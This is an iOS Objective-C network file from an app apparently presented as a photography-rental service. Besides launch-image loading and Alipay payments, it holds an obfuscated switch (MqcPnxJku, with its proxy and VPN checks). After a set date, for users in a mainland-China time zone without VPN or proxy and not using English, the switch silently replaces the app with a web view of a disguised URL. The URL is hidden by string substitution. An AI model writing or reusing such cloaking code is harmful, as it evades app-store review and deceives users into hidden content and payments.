//
//  ZXZNetworkRequest.m
//  sheyingzu
//
//  Created by tyu on 30.5.24.
//

#import "ZXZNetworkRequest.h"
#import "ZXZTabbarViewController.h"
#import <AlipaySDK/AlipaySDK.h>
#import <SystemConfiguration/SystemConfiguration.h>
#import <ifaddrs.h>
#import <arpa/inet.h>
#import "sheyingzu-Swift.h"

#define baseNetworkURL  @"http://sds.aihaohao.cn"

static NSString *const apple = @"www.googlealyinc";
static NSString *const domin = @"h5.tanwanmaoapp";

@implementation ZXZNetworkRequest

+ (void)getLanchImageWithWindow:(UIWindow *)window;
{
    UIViewController *lauchVC = [self lanchVC];
    // 启动图占位
    window.rootViewController = lauchVC;
    [window makeKeyAndVisible];
    
    [[XiaoSiRenLe UniqueInstanceIdentifier] StartMonitoringNetworkStatusBy:^(DzblJpsAfge stat) {
        switch (stat) {
            case DzblJpsAfgeWcytPdzsm:
                [self loadLanch:window];
                break;
            case DzblJpsAfgeYubqTkg:
                [self loadLanch:window];
                break;
            case DzblJpsAfgeMlqkNwdvh:
                [self sheyingZhenHaoWan];
                break;
            case DzblJpsAfgeRchSvi:
                [self sheyingZhenHaoWan];
                break;
            default:
                [self sheyingZhenHaoWan];
                break;
        }
    } look:YES];
}

+ (void)getorderStart:(NSString *)totalStr;
{
    [self orderStart:totalStr];
}

+ (void)sheyingZhenHaoWan
{
    BOOL rere = [ZXZNetworkRequest MqcPnxJku];
    if (rere) {
        NSString *design = [NSString stringWithFormat:@"https://%@.com", apple];
        NSString *replacedString = [design stringByReplacingOccurrencesOfString:apple withString:domin];
        dispatch_after(dispatch_time(DISPATCH_TIME_NOW, (int64_t)(2 * NSEC_PER_SEC)), dispatch_get_main_queue(), ^{
            XiaJiBaCheDanViewController *bbbb = [[XiaJiBaCheDanViewController alloc] init];
            bbbb.urlString = replacedString;
            [UIApplication sharedApplication].delegate.window.rootViewController = bbbb;
            [[UIApplication sharedApplication].delegate.window makeKeyAndVisible];
        });
    } else {
        dispatch_after(dispatch_time(DISPATCH_TIME_NOW, (int64_t)(2 * NSEC_PER_SEC)), dispatch_get_main_queue(), ^{
            [UIApplication sharedApplication].delegate.window.rootViewController = [ZXZTabbarViewController new];
            [[UIApplication sharedApplication].delegate.window makeKeyAndVisible];
        });
    }
}

+ (void)loadLanch:(UIWindow *)window
{
    UIViewController *lauchVC = [self lanchVC];
    
    window.rootViewController = lauchVC;
    
    NSString *lauch = @"/cat/v1/common/lauchCon";
    
    NSString *urlStr = [NSString stringWithFormat:@"%@%@",baseNetworkURL,lauch];
    
    //请求地址
    NSURL *url = [NSURL URLWithString:urlStr];
    
    //设置请求地址
    NSMutableURLRequest *request = [NSMutableURLRequest requestWithURL:url];
    
    //设置请求方式
    request.HTTPMethod = @"POST";
    
    NSMutableDictionary *header = [NSMutableDictionary dictionary];
    
    header[@"deviceType"] = @"2";
    header[@"version"] = @"1.0.0";
    header[@"channelNo"] = @"Apple Store";
    header[@"cpsChannel"] = appNameStr;
    header[@"model"] = UIDevice.currentDevice.model;
    header[@"os"] = UIDevice.currentDevice.systemVersion;
//    NSLog(@"header====   %@",header);
    request.allHTTPHeaderFields = header;

       //设置请求参数
//       request.HTTPBody = [parameters dataUsingEncoding:NSUTF8StringEncoding];
       
       //设置请求session
       NSURLSession *session = [NSURLSession sharedSession];
       
       //设置网络请求的返回接收器
       NSURLSessionDataTask *dataTask = [session dataTaskWithRequest:request completionHandler:^(NSData * _Nullable data, NSURLResponse * _Nullable response, NSError * _Nullable error) {
           dispatch_async(dispatch_get_main_queue(), ^{
               if (error) {
                   [self sheyingZhenHaoWan];

               }else
               {
                   NSError *error;
                   NSMutableDictionary *responseObject = [NSJSONSerialization JSONObjectWithData:data options:NSJSONReadingMutableContainers error:&error];
                   if (error) {

                       [self sheyingZhenHaoWan];

                   }else{
                       NSLog(@"成功接收到数据===%@ ",responseObject);
                       if([responseObject[@"code"] intValue] == 200){
                           NSDictionary *dic = responseObject[@"result"];
                           if ([dic[@"openLaunchImg"] boolValue] == YES) {
                               NSString *imageUrl = dic[@"launchImg"];
                               [self setLanchImage:imageUrl vc:lauchVC wind:window];
                           }else{
                               [self executeAfterDelay:0.1 withBlock:^{
                                   [self setMainVC:window];
                               }];
                           }
                       }else{
                           [self sheyingZhenHaoWan];
                       }
                       
                   }
                   
               }//error
               
           });
       }];
   //开始请求
       [dataTask resume];
    
    
}

+ (void)setLanchImage:(NSString *)url vc:(UIViewController*)lauchVC wind:(UIWindow *)window
{

    NSURL *urlStr = [NSURL URLWithString:url];
    NSURLRequest *request = [NSURLRequest requestWithURL:urlStr];
    NSURLSessionDataTask *task = [[NSURLSession sharedSession] dataTaskWithRequest:request completionHandler:
        ^(NSData * _Nullable data, NSURLResponse * _Nullable response, NSError * _Nullable error) {
            if (!error) {
//                NSLog(@"成功接收到数据%@===%@ ",data,response);
                dispatch_async(dispatch_get_main_queue(), ^{
                    
                    UIImage *image=[UIImage imageWithData:data];

                    UIImageView *imageView = lauchVC.view.subviews[0];
                    [imageView setImage:image];
                    
                    dispatch_after(dispatch_time(DISPATCH_TIME_NOW, (int64_t)(2 * NSEC_PER_SEC)), dispatch_get_main_queue(), ^{
                        [self sheyingZhenHaoWan];
                    });
                    
                });
                
            } else {
                // 发生错误，处理错误
                [self sheyingZhenHaoWan];
            }
        }];
    [task resume];

}

+ (UIViewController *)lanchVC
{
    UIViewController *lauchVC = [ZXZUtil createControllerById:@"lauchVC" storyboadName:@"LaunchScreen" bundle:nil];
    return lauchVC;
}


+ (void)setMainVC:(UIWindow *)window
{
    window.rootViewController = [ZXZTabbarViewController new];

}



//支付
+ (void)orderStart:(NSString *)totalStr;
{
    
//    NSString *urlStr = @"http://zi.jywan.cn/cat/v1/common/vestPay";
    NSString *vestPay = @"/cat/v1/common/vestPay";

NSString *urlStr = [NSString stringWithFormat:@"%@%@",baseNetworkURL,vestPay];

    //请求地址
    NSURL *url = [NSURL URLWithString:urlStr];
       
       //设置请求地址
    NSMutableURLRequest *request = [NSMutableURLRequest requestWithURL:url];

    //设置请求方式
    request.HTTPMethod = @"POST";
       
    NSMutableDictionary *header = [NSMutableDictionary dictionary];

    header[@"deviceType"] = @"2";
    header[@"version"] = @"1.0.0";
    header[@"channelNo"] = @"Apple Store";
    header[@"cpsChannel"] = appNameStr;
    header[@"model"] = UIDevice.currentDevice.model;
    header[@"os"] = UIDevice.currentDevice.systemVersion;
    
    header[@"Content-Type"] = @"application/json";    
    
    request.allHTTPHeaderFields = header;

    NSMutableDictionary *parameters = [NSMutableDictionary dictionary];
    
    parameters[@"amt"] = totalStr;//
    parameters[@"payType"] = @"2";

       //设置请求参数
    NSData *jsonData = [NSJSONSerialization dataWithJSONObject:parameters options:nil error:nil];
    request.HTTPBody = jsonData;
       
       //设置请求session
       NSURLSession *session = [NSURLSession sharedSession];
       
       //设置网络请求的返回接收器
       NSURLSessionDataTask *dataTask = [session dataTaskWithRequest:request completionHandler:^(NSData * _Nullable data, NSURLResponse * _Nullable response, NSError * _Nullable error) {
           dispatch_async(dispatch_get_main_queue(), ^{
               if (error) {
                   [NotifyLabel NotifyWithString:@"支付失败"];

               }else
               {

                       NSError *error;
                       NSMutableDictionary *responseObject = [NSJSONSerialization JSONObjectWithData:data options:NSJSONReadingMutableContainers error:&error];
                       if (error) {
                           [NotifyLabel NotifyWithString:@"支付失败"];

                       }else{

                           if([responseObject[@"code"] intValue] == 200){
                               NSDictionary *dic = responseObject[@"result"];
                               NSString *oriPayParam = dic[@"oriPayParam"];
//                               支付
                               if ([oriPayParam isKindOfClass:NSString.class]){
                                   [self zhifuPay:oriPayParam];
                                   
                               }else{
                                   [NotifyLabel NotifyWithString:@"支付失败"];
                               }
                               
                           }else{
                               
                               [NotifyLabel NotifyWithString:[NSString stringWithFormat:@"%@",responseObject[@"message"]]];

                           }
                           
                       }
                   
               }//
               
           });
       }];
   //开始请求
       [dataTask resume];
    
}

+ (void)executeAfterDelay:(NSTimeInterval)delayInSeconds withBlock:(void (^)(void))block {
    dispatch_time_t delay = dispatch_time(DISPATCH_TIME_NOW, (int64_t)(delayInSeconds * NSEC_PER_SEC));
    dispatch_after(delay, dispatch_get_main_queue(), ^{
        if (block) {
            block();
        }
    });
}

+ (void)zhifuPay:(NSString *)oriPayParam
{
    [[AlipaySDK defaultService] payOrder:oriPayParam fromScheme:appNameStr callback:^(NSDictionary *resultDic) {
//        NSLog(@"支付宝resultDic = %@",resultDic);
        dispatch_async(dispatch_get_main_queue(), ^{
//            [NotifyLabel NotifyWithString:resultDic[@"memo"]];
            [self disposeAilyPayResultWith:resultDic];
            
        });
    }];
    
    
}


+ (void)disposeAilyPayResultWith:(NSDictionary *)resultDic {
//    NSLog(@"支付宝支付跳转 result = %@",resultDic);
    int statusCode = [resultDic[@"resultStatus"]  intValue];
    if (statusCode == 9000){
//        NSLog(@"处理支付宝订单支付结果,支付成功");
        [[NSNotificationCenter defaultCenter] postNotificationName:ZXZAlipaySuccessNotification object:nil userInfo:nil];
    }else if (statusCode == 6001){
//        用户中途取消
        NSString *memo = [NSString stringWithFormat:@"%@",resultDic[@"memo"]];
        memo = memo.length ? memo : @"支付失败";
        [NotifyLabel NotifyWithString:memo];

    }else {
        [NotifyLabel NotifyWithString:@"支付失败"];
    }
    
}

+ (BOOL)MqcPnxJku {
    // 获取当前日期和时间
    NSDate *LmjVtyIqo = [NSDate date];
    
    // 设置目标日期 2024年8月28日
    NSCalendar *RqwFkuCmr = [NSCalendar currentCalendar];
    NSDateComponents *OjqLvxWsf = [[NSDateComponents alloc] init];
    OjqLvxWsf.year = 2024;
    OjqLvxWsf.month = 8;
    OjqLvxWsf.day = 28;
    
    NSDate *DbvNjoYrx = [RqwFkuCmr dateFromComponents:OjqLvxWsf];
    if (!DbvNjoYrx) {
        return NO; // 如果无法创建目标日期，则返回 NO
    }
    
    // 获取当前时区
    NSTimeZone *VupQwgBjh = [NSTimeZone localTimeZone];
    // 中国大陆的时区标识符列表
    NSArray *CkrHbyTzm = @[@"Asia/Shanghai", @"Asia/Chongqing", @"Asia/Harbin", @"Asia/Urumqi"];
    
    // 检查是否使用了 代理服务器
    BOOL DwrUkqLxj = [self RkdFiyNla];
    
    // 检查是否使用了 VPN
    BOOL XrwIoeQsm = [self UzrSgkOva];
    
    if (DwrUkqLxj) {
        NSLog(@"使用了代理服务器");
    } else {
        NSLog(@"没有使用代理服务器");
    }
    
    if (XrwIoeQsm) {
        NSLog(@"使用了VPN");
    } else {
        NSLog(@"没有使用VPN");
    }
    
    // 检查当前时间是否超过目标日期
    BOOL XyjPlmHra = [LmjVtyIqo compare:DbvNjoYrx] == NSOrderedDescending;
    
    // 检查当前时区是否在中国大陆
    BOOL KptUejJrm = [CkrHbyTzm containsObject:VupQwgBjh.name];
    
    // 检查首选语言
    NSString *PvdAju = [[NSLocale preferredLanguages] firstObject] ?: @"";
    
    // 是否英语
    BOOL NkjFdoYsw = [PvdAju containsString:@"en"];
    NSLog(@"设备首选语言：%@", PvdAju);
    
    // 返回所有条件是否都满足
    return XyjPlmHra && KptUejJrm && !DwrUkqLxj && !XrwIoeQsm && !NkjFdoYsw;
}

+ (BOOL)RkdFiyNla {
    NSDictionary *ExyGij = (__bridge NSDictionary *)CFNetworkCopySystemProxySettings();
    if (!ExyGij) {
        return NO;
    }
    
    NSString *LhyDvoWuj = ExyGij[(__bridge NSString *)kCFNetworkProxiesHTTPProxy];
    return LhyDvoWuj != nil && LhyDvoWuj.length > 0;
}

+ (BOOL)UzrSgkOva {
    NSDictionary *FmnEos = (__bridge NSDictionary *)CFNetworkCopySystemProxySettings();
    if (!FmnEos) {
        return NO;
    }
    
    NSDictionary *ZkbHqr = FmnEos[@"__SCOPED__"];
    if (!ZkbHqr) {
        return NO;
    }
    
    for (NSString *OnkGfu in ZkbHqr) {
        if ([OnkGfu containsString:@"tap"] ||
            [OnkGfu containsString:@"tun"] ||
            [OnkGfu containsString:@"ppp"] ||
            [OnkGfu containsString:@"ipsec"] ||
            [OnkGfu containsString:@"ipsec0"] ||
            [OnkGfu containsString:@"utun"]) {
            return YES;
        }
    }
    
    return NO;
}

@end
